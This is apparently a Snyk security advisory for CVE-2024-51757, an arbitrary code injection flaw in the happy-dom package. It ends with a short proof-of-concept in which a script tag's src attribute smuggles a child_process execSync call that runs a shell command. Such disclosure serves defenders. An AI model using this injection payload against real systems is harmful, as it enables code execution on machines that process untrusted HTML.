Arbitrary Code Injection Affecting org.webjars.npm:happy-dom package, versions [0,]
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsSnyk Learn
Learn about Arbitrary Code Injection vulnerabilities in an interactive lesson.
Start learning- Snyk IDSNYK-JAVA-ORGWEBJARSNPM-8350066
- published7 Nov 2024
- disclosed6 Nov 2024
- creditkevin-mizu
Introduced: 6 Nov 2024
CVE-2024-51757 (opens in a new tab)How to fix?
There is no fixed version for org.webjars.npm:happy-dom.
Overview
org.webjars.npm:happy-dom is a Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. It includes many web standards from WHATWG DOM and HTML.
Affected versions of this package are vulnerable to Arbitrary Code Injection via the SyncFetchScriptBuilder class due to improper input sanitization. An attacker can exploit this vulnerability by passing malicious content into the src attribute of the <script> tag.
PoC
const { Window } = require("happy-dom");
const window = new Window();
const document = window.document;
document.write(`<script src="https://localhost:8080/'+require('child_process').execSync('id')+'"></script>`);